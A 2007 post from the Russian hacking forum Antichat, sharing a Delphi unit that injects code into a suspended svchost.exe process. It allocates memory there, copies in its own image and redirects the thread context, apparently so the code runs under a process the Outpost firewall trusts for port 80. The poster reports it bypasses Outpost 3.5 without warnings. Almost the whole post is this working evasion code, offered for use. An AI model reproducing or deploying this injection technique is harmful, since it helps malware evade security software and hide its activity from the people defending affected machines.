
29.04.2007, 22:33
|
|
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
Вот код который позволяет обходить outpost. Часть кода была взята из статьи MS-REM'a
Я его чуть оформил в виде модуля. В принципе легко его перписать на любой язык. Пробывал на Outpost 3.5 Работает всё нормально. Даже outpost не выдает предупреждений о нарушении памяти процесса.
Код:
unit df;
interface
uses
Windows,Sysutils;
procedure mains(path:pointer); // безопасный запуск процедуры. path - адресс процедуры
implementation
var
si:TStartupInfo;
pi:TProcessInformation;
procedure mains(path:pointer); // основная функция для прекрепления кода прочедуры к SVCHOST'у
var
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
//запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, pansichar(windir+'\system32\svchost.exe'), nil, nil, false,CREATE_SUSPENDED, nil, nil, St, Pr);
Code:=pointer(GetModuleHandle(nil));
InjectSize:=PImageOptionalHeader(pointer(integer(Code)+PImageDosHeader(Code)._lfanew+SizeOf(dword)+SizeOf(TImageFileHeader))).SizeOfImage;
//выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
//изменяем контекст нити
Context.ContextFlags:=CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip:=dword(path); // путь к функции
SetThreadContext(Pr.hThread, Context);
//запускаем процесс
ResumeThread(Pr.hThread);
end;
begin
end.
Последний раз редактировалось slesh; 29.04.2007 в 22:41..
|
|
|